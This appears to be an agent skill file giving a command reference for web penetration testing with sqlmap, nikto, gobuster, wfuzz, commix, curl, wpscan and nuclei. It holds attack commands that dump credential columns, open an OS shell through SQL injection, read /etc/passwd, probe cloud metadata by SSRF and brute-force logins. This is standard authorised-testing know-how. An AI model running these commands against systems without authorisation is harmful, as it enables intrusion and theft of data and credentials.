pentest-web

name	pentest-web
description	Web application penetration testing tool reference. Covers sqlmap (SQL injection), nikto (web scanner), gobuster/dirb (directory brute-forcing), wfuzz (fuzzing), commix (command injection), and on-demand tools (ffuf, feroxbuster, wpscan, nuclei, OWASP ZAP, XSStrike). Use for web app vulnerability scanning and exploitation.
version	2.0.0
triggers	["web","website","web app","sqlmap","SQL injection","XSS","nikto","gobuster","directory brute","wpscan","WordPress","nuclei","ffuf","web vulnerability","CORS","SSRF"]

Web Application Testing — Tool Reference

---

Sqlmap — SQL Injection

Detection

# Basic GET parameter test
sqlmap -u "http://<target>/page?id=1" --batch

# Deep scan (all techniques)
sqlmap -u "http://<target>/page?id=1" --batch --level=5 --risk=3 --threads=5

# POST parameter test
sqlmap -u "http://<target>/login" --data="user=admin&pass=test" --batch

# Test with cookie authentication
sqlmap -u "http://<target>/api/data?id=1" --cookie="session=abc123" --batch

# Test specific parameter only
sqlmap -u "http://<target>/page?id=1&name=foo" -p "id" --batch

# Test request from file (Burp/ZAP saved request)
sqlmap -r request.txt --batch

Database Extraction

# List databases
sqlmap -u "<url>" --batch --dbs

# List tables
sqlmap -u "<url>" --batch -D <db> --tables

# Dump table
sqlmap -u "<url>" --batch -D <db> -T <table> --dump

# Dump specific columns
sqlmap -u "<url>" --batch -D <db> -T <table> -C "username,password" --dump

# Search for columns containing keyword
sqlmap -u "<url>" --batch --search -C "password"

Advanced

# WAF bypass with tamper scripts
sqlmap -u "<url>" --batch --tamper=space2comment,between,randomcase

# OS shell (if write permissions)
sqlmap -u "<url>" --batch --os-shell

# File read (MySQL)
sqlmap -u "<url>" --batch --file-read="/etc/passwd"

# Through proxy
sqlmap -u "<url>" --batch --proxy=http://127.0.0.1:8080

# Custom user agent
sqlmap -u "<url>" --batch --random-agent

# DBMS fingerprint
sqlmap -u "<url>" --batch --fingerprint

---

Nikto — Web Server Scanner

# Comprehensive scan
nikto -h http://<target> -o /tmp/nikto.html -Format htm

# Scan HTTPS
nikto -h https://<target> -ssl

# Scan specific port
nikto -h <target> -p 8080

# Scan with authentication
nikto -h http://<target> -id admin:password

# Stealth (add delay)
nikto -h http://<target> -Pause 2

# Through proxy
nikto -h http://<target> -useproxy http://127.0.0.1:8080

# Specific tuning (SQL injection focus)
nikto -h http://<target> -Tuning 9

# Multiple ports
nikto -h <target> -p 80,443,8080,8443

---

Gobuster — Directory/DNS Brute-Forcing

Directory Mode

# Basic directory scan
gobuster dir -u http://<target> -w /usr/share/seclists/Discovery/Web-Content/common.txt

# With file extensions
gobuster dir -u http://<target> -w /usr/share/seclists/Discovery/Web-Content/common.txt -x php,txt,html,bak,old

# Larger wordlist
gobuster dir -u http://<target> -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt

# With authentication cookie
gobuster dir -u http://<target> -w /usr/share/wordlists/dirb/common.txt -c "session=abc123"

# Specific status codes
gobuster dir -u http://<target> -w /usr/share/wordlists/dirb/common.txt -s "200,204,301,302,307"

# More threads + follow redirects
gobuster dir -u http://<target> -w /usr/share/wordlists/dirb/common.txt -t 50 -r

# Hide specific status codes
gobuster dir -u http://<target> -w /usr/share/wordlists/dirb/common.txt -b "404,403"

DNS Mode

# Subdomain brute-force
gobuster dns -d <domain> -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt

# Show CNAMEs and IPs
gobuster dns -d <domain> -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -i

Vhost Mode

# Virtual host discovery
gobuster vhost -u http://<target> -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt

---

Dirb — Directory Brute-Forcer

# Basic scan (default wordlist)
dirb http://<target>

# Custom wordlist
dirb http://<target> /usr/share/seclists/Discovery/Web-Content/common.txt

# With extensions
dirb http://<target> -X .php,.txt,.bak

# Recursive + case insensitive
dirb http://<target> -r -z 200

# With authentication
dirb http://<target> -a "admin:password"

# Through proxy
dirb http://<target> -p http://127.0.0.1:8080

# Save output
dirb http://<target> -o /tmp/dirb_results.txt

---

Wfuzz — Web Fuzzer

# Directory fuzzing
wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/common.txt --hc 404 http://<target>/FUZZ

# Parameter fuzzing
wfuzz -c -w /usr/share/seclists/Fuzzing/special-chars.txt --hc 404 "http://<target>/page?id=FUZZ"

# POST parameter fuzzing
wfuzz -c -w /usr/share/wordlists/rockyou.txt --hc 404 -d "user=admin&pass=FUZZ" http://<target>/login

# Header fuzzing
wfuzz -c -w wordlist.txt --hc 404 -H "X-Forwarded-For: FUZZ" http://<target>/admin

# Multiple wordlists (FUZ2Z for second)
wfuzz -c -w users.txt -w passwords.txt --hc 404 -d "user=FUZZ&pass=FUZ2Z" http://<target>/login

# Filter by response length
wfuzz -c -w wordlist.txt --hh 1234 http://<target>/FUZZ

# With cookie
wfuzz -c -w wordlist.txt --hc 404 -b "session=abc123" http://<target>/FUZZ

---

Commix — Command Injection

# Basic test
commix -u "http://<target>/page?cmd=test" --batch

# POST parameter
commix -u "http://<target>/exec" --data="ip=127.0.0.1" --batch

# With cookie
commix -u "http://<target>/page?cmd=test" --cookie="session=abc123" --batch

# OS shell
commix -u "http://<target>/page?cmd=test" --os-cmd="id"

# Through proxy
commix -u "http://<target>/page?cmd=test" --proxy=http://127.0.0.1:8080

---

Curl — HTTP Testing

# GET with status code
curl -s -o /dev/null -w "%{http_code}" "http://<target>/admin"

# GET with all headers
curl -v "http://<target>/"

# POST with data
curl -X POST -d "user=admin&pass=test" "http://<target>/login" -v

# PUT JSON
curl -X PUT -H "Content-Type: application/json" -d '{"key":"value"}' "http://<target>/api/resource"

# Path traversal test
curl -s "http://<target>/../../../../etc/passwd"

# SSRF test
curl -s "http://<target>/fetch?url=http://169.254.169.254/latest/meta-data/"

# Test CORS
curl -H "Origin: http://attacker.example.com" -v "http://<target>/api/data"

# Follow redirects with cookies
curl -L -c /tmp/cookies.txt -b /tmp/cookies.txt "http://<target>/login"

# Test HTTP methods
curl -X OPTIONS "http://<target>/" -v
curl -X PUT "http://<target>/test.txt" -d "test" -v
curl -X DELETE "http://<target>/file" -v

---

On-Demand Web Tools

FFuf — Fast Fuzzer (Go)

# Install: apt-get install -y ffuf
ffuf -u http://<target>/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,301,302
ffuf -u http://<target>/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -e .php,.txt,.bak
ffuf -u http://<target>/page?FUZZ=test -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt

Feroxbuster — Recursive Content Discovery

# Install: apt-get install -y feroxbuster
feroxbuster --url http://<target> -w /usr/share/seclists/Discovery/Web-Content/common.txt
feroxbuster --url http://<target> -x php,txt,bak --depth 3

WPScan — WordPress Scanner

# Install: apt-get install -y wpscan
wpscan --url http://<target> --enumerate vp,vt,u
wpscan --url http://<target> --enumerate vp --plugins-detection aggressive
wpscan --url http://<target> -U admin -P /usr/share/wordlists/rockyou.txt

Nuclei — Template-Based Scanner

# Install: apt-get install -y nuclei
nuclei -u http://<target> -t /usr/share/nuclei-templates/
nuclei -u http://<target> -severity critical,high
nuclei -l urls.txt -t /usr/share/nuclei-templates/cves/

---

Tool Selection Guide

Situation	Best Tool
SQL injection testing	sqlmap -u '<url>' --batch
General web vuln scan	nikto -h <target>
Directory brute-forcing	gobuster dir (fastest) or dirb (simpler)
Parameter fuzzing	wfuzz or ffuf
Command injection	commix
WordPress site	wpscan (install on demand)
Template-based vuln scan	nuclei (install on demand)
Recursive content discovery	feroxbuster (install on demand)
Manual HTTP testing	curl